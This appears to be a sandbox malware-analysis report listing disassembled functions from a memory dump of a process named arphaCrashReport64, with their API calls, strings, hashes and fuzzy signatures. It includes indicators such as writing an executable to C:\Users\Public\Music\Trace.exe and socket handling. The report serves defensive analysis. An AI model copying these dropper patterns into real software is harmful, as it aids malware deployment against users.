
API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction ID: 6b580129319684358bed1f3f89f1e525cfbb167a0e64171956193b365a066731
Opcode Fuzzy Hash: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction Fuzzy Hash: F5011771600B0591FE60AB20BCD93D867A8FFB8740FB805259BC9466A6EFF8C1D8C700

Function 00000210AE4CF2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00000210AE4CF303
WriteFile.KERNEL32 ref: 00000210AE4CF339
CloseHandle.KERNEL32 ref: 00000210AE4CF344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 00000210AE4CF2DC

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: c7b4bd360700cb5ae9b8b71a13dcc297c7b3c46a1e4e0cf25a5b735f227f7bff
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: F701447270478083EB508F65F989696A364FB987B8F540325EBA943B94DFBCC5848B00

Function 00000210AE4D4F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,00000210AE4D4FA1,?,?,00000028,00000210AE4D5771,?,?,0000000100000000,00000210AE4D532C,?,?,ceil,00000210AE4D9B11), ref: 00000210AE4D4F67
GetProcAddress.KERNEL32(?,?,000000FF,00000210AE4D4FA1,?,?,00000028,00000210AE4D5771,?,?,0000000100000000,00000210AE4D532C,?,?,ceil,00000210AE4D9B11), ref: 00000210AE4D4F7C

Strings

mscoree.dll, xrefs: 00000210AE4D4F60
CorExitProcess, xrefs: 00000210AE4D4F72

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction ID: 56e5b323fa303c7cf774d9ae99f152bd7af41da843171cf4196f4e221f02de6e
Opcode Fuzzy Hash: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction Fuzzy Hash: 6FE0127071270041FE195B60A8DC3E423987F6C751F6C102CDA9E063A0DEACC9C9C340

Function 00007FFD94472E0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,00007FFD94472E55,?,?,00000028,00007FFD94471D7D,?,?,00000000,00007FFD94472C88,?,?,00000000,00007FFD944743D5), ref: 00007FFD94472E1B
GetProcAddress.KERNEL32(?,?,000000FF,00007FFD94472E55,?,?,00000028,00007FFD94471D7D,?,?,00000000,00007FFD94472C88,?,?,00000000,00007FFD944743D5), ref: 00007FFD94472E30

Strings

CorExitProcess, xrefs: 00007FFD94472E26
mscoree.dll, xrefs: 00007FFD94472E14

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: eb1dbeb147ccf5ddcb1c0eeb8561c202c44ecf464084eb8da73d3ecb445d589c
Instruction ID: 0ef2c63291043a6eba52a6e52fc6e7b4813bd6e44824fbeb8ed2a0df0ba5379e
Opcode Fuzzy Hash: eb1dbeb147ccf5ddcb1c0eeb8561c202c44ecf464084eb8da73d3ecb445d589c
Instruction Fuzzy Hash: 47E0EC30B1A64242FE295FD0A8E413513907F4A701B48D538C41E1739AEEACA95AC200

Function 00000210AE4D6894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D52FC: malloc.LIBCMT ref: 00000210AE4D5327
Part of subcall function 00000210AE4D52FC: Sleep.KERNEL32(?,?,ceil,00000210AE4D9B11,?,?,?,00000210AE4D9BBB,?,?,00000000,00000210AE4D4875,?,?,00000000,00000210AE4D492C), ref: 00000210AE4D533A

free.LIBCMT ref: 00000210AE4D69C0
free.LIBCMT ref: 00000210AE4D69DC

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: 3082daefcf628373b4dd778245ee7098dccd546df3b22a629e3b78eb1f3be33c
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: B5515632301B4492EB14DF16EDC83D933A8FBA9B94F684529DF8947B91DFB8D4A58700

Function 00000210AE4D9DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D9E0E
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D9E19
RtlDecodePointer.NTDLL ref: 00000210AE4D9EC8
_lock.LIBCMT ref: 00000210AE4D9EF3

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction ID: 7bc054f7b1bc5600fffe3a93e88ea1fd274862139356180c24e6f2fb4e213122
Opcode Fuzzy Hash: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction Fuzzy Hash: 3A51923260474086FA689B14ACCC3EA669DFFA4744F798419DBCA836D5EFF9C4C1C201

Function 00000210AE1F0AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000210AE1F0100: _getptd.LIBCMT ref: 00000210AE1F0104

_getptd.LIBCMT ref: 00000210AE1F0B3B
_SetImageBase.LIBCMT ref: 00000210AE1F0C0E
_getptd.LIBCMT ref: 00000210AE1F0C3C
_getptd.LIBCMT ref: 00000210AE1F0C4A

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: cd4db3b46319a4f24d84645d9c0e0952c91264ce32c71485b6828f763d3225d4
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: 3E418531614B244AE314AB6898AE2F972D1FF64314F7445AFE6D9831E7D6B0FCC282C1

Function 00000210AE4E2EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3334: _getptd.LIBCMT ref: 00000210AE4D3346

_errno.LIBCMT ref: 00000210AE4E2EFA
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E2F04
_errno.LIBCMT ref: 00000210AE4E2F28
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E2F32

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction ID: 8acaa3a3614a655661496c3ea68f41d0780c3a720cf36484edfa4fe68c299ab8
Opcode Fuzzy Hash: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction Fuzzy Hash: 6841C23221478086E755DF19C5C83ED7BA8FBA5BD0F648121EBC947B96CFA8C486C704

Function 00000210AE1EE7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE1EE7D3
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1EE7DF
_errno.LIBCMT ref: 00000210AE1EE809
_errno.LIBCMT ref: 00000210AE1EE86B

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 04772f612c89ebd7a74be4611ae0d55d56c39f20c90d4fa5efb3464d2e8b39d3
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: 0E310430608B994AE71D562C90DCBF977C1EF7A301F3402AEFAC6C7293D9E198C18291

Function 00000210AE4D1B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00000210AE4D1B75
realloc.LIBCMT ref: 00000210AE4D1BD4

Part of subcall function 00000210AE4D3D68: malloc.LIBCMT ref: 00000210AE4D3D85

IsBadCodePtr.KERNEL32 ref: 00000210AE4D1C59
SetLastError.KERNEL32 ref: 00000210AE4D1C7D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: d35d5094377cac64b3a0128be4cce7cbb2ca888b36eaae61d32f514a603f921d
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: B8416E32705B848BEB609B16E88439AB3A4FB98F94F184025DF8E47B54DF78E481C700

Function 00007FFD94477AD4 Relevance: 6.1, APIs: 4, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD9447726C: _getptd.LIBCMT ref: 00007FFD94477270

_getptd.LIBCMT ref: 00007FFD94477B16
_SetImageBase.LIBCMT ref: 00007FFD94477BEC
_getptd.LIBCMT ref: 00007FFD94477C1F
_getptd.LIBCMT ref: 00007FFD94477C2D

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: e059025c964b6926d9780043dba5393845ee502628fbb7cc97ca0f30293eeaf8
Instruction ID: d2274555e426c8d71afa3ab410c41f5735765f6abfb75e19d4d31607ce52abe5
Opcode Fuzzy Hash: e059025c964b6926d9780043dba5393845ee502628fbb7cc97ca0f30293eeaf8
Instruction Fuzzy Hash: 2D417432B0964285EA34A799D4E11BDA7D0AF86B98F95C531DB1D437A7CEBCF493C200

Function 00000210AE4E1144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000210AE4E0748: _getptd.LIBCMT ref: 00000210AE4E074C

_getptd.LIBCMT ref: 00000210AE4E1183

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_SetImageBase.LIBCMT ref: 00000210AE4E1256
_getptd.LIBCMT ref: 00000210AE4E1284
_getptd.LIBCMT ref: 00000210AE4E1292

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction ID: 93cf77d94e47220ab323e1babe6ff01f051ae0b627e1fe5752a2a3b5ae226f70
Opcode Fuzzy Hash: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction Fuzzy Hash: AF41B63260074581EA61A715D8D93EDAB98BFA5B98F758111DBE9537E2CFB8C8C28700

Function 00000210AE1E2A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE1E2A9F
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E2AAA
_getptd.LIBCMT ref: 00000210AE1E2AD0
free.LIBCMT ref: 00000210AE1E2B3B

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: 89c208ddf303c22c3a2d3c08ff4f0c9a2e7538e0602171828509a0c477b1b74c
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 6C218C30608B194FE744BF6D949A7F977D5FFA4311F10052EBD99C32A2DAA4E8818782

Function 00000210AE4DEDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4DEE1B
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4DEE27
_errno.LIBCMT ref: 00000210AE4DEE51
_errno.LIBCMT ref: 00000210AE4DEEB3

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction ID: e0c5366c734a7220bad3d1a96ff5a029b21363077b19bce4c887ca722be2df98
Opcode Fuzzy Hash: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction Fuzzy Hash: AA21B032B083C086F7558A65D8D83DD2A9DAB75384F3A8022D786873C3DEA588CA8741

Function 00000210AE4D47F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,00000210AE4D4382), ref: 00000210AE4D4803
RtlDeleteCriticalSection.NTDLL ref: 00000210AE4D9A43
free.LIBCMT ref: 00000210AE4D9A4C
RtlDeleteCriticalSection.NTDLL ref: 00000210AE4D9A73

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: 0c72e7d4df8273871fc9fb59a1db22b4e7b32b7e47eb69fbc778237d08a02dec
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: 4F113D32601B808AFB558F11F8C83D963A8FF65B64F685611DB9A427A4DFB8C8D1C701

Function 00000210AE4D5B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4D5B36

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_lock.LIBCMT ref: 00000210AE4D5B64
free.LIBCMT ref: 00000210AE4D5B9A
_amsg_exit.LIBCMT ref: 00000210AE4D5BD3

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: cb2b1d239ec0247fc80cc46b0c574030a4a97024d341f1227888d339f07ff835
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: B6112E36211B84C2EA95AB51E8C87E877A8FF64B40F685025DB9E03796DFA8C4948700

Function 00007FFD944728E4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,00007FFD944719A3), ref: 00007FFD944728F3
DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFD944719A3), ref: 00007FFD9447430E
free.LIBCMT ref: 00007FFD94474317
DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFD944719A3), ref: 00007FFD94474337

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: f097861ccf4a3776d8453d063f4597e8d310759331ef9ffebfc685100f43f8f9
Instruction ID: 5afa698aeccd1546948c965a283be629d26485324737b99f831ec63d6ce924ce
Opcode Fuzzy Hash: f097861ccf4a3776d8453d063f4597e8d310759331ef9ffebfc685100f43f8f9
Instruction Fuzzy Hash: 00116D31F09A42C2F6348B91E5A427C7360FB42B95F58C631D66D07A9ACFACE463C740

Function 00000210AE4D303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000210AE4D3071
RtlExitUserThread.NTDLL ref: 00000210AE4D3079
GetCurrentThreadId.KERNEL32 ref: 00000210AE4D3080
_freefls.LIBCMT ref: 00000210AE4D30B1

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction ID: 9a87d1079b42888fdf2bea81bdfb42721e12360cba60d81ca83ac174dda13444
Opcode Fuzzy Hash: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction Fuzzy Hash: 7101E739201B4985EF55ABB198CD3DC629CAF29B94F344535DBCD47396EEB888C48310

Function 00000210AE4C2A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 00000210AE4C2A6F
CreateThread.KERNEL32 ref: 00000210AE4C2A95
WaitForSingleObject.KERNEL32 ref: 00000210AE4C2AA6
CloseHandle.KERNEL32 ref: 00000210AE4C2AB1

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: c19d61ebfaa7bb4b41e6acd8aab7eaae85045e0bb06788981bae469202680a70
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: 2CF04F32618B8083EB14CF75B89859B77A6F7D9750F284225FBDA43B68CF7DC0958A00

Function 00000210AE4D63FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4D6402

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_getptd.LIBCMT ref: 00000210AE4D6422
_lock.LIBCMT ref: 00000210AE4D6435
_amsg_exit.LIBCMT ref: 00000210AE4D6463

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction ID: 70dfcb47630edcbfcb307ae2eef86fe23f4c3b30de60e23e99aa64a9f55a65f0
Opcode Fuzzy Hash: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction Fuzzy Hash: C8F01D3121124481FE55AB628CD97E81669EFA4B40F794178DBD94B3D2DFA884C0C714

Function 00000210AE4C26D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00000210AE4C2703
CancelIo.KERNEL32 ref: 00000210AE4C270D
closesocket.WS2_32 ref: 00000210AE4C271D
SetEvent.KERNEL32 ref: 00000210AE4C272A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: c82eb27de881c8b032d67ed7160291028a96b073a5fa50943b017c4858e6b8b8
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 8FF01236204B4197EB118F25E5882997370F798B64F640325DBA947AE4CF79C4A5C700

Function 00000210AE1F1A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE1F1AA0

Strings

csm, xrefs: 00000210AE1F1ACD
csm, xrefs: 00000210AE1F1BD7

Memory Dump Source

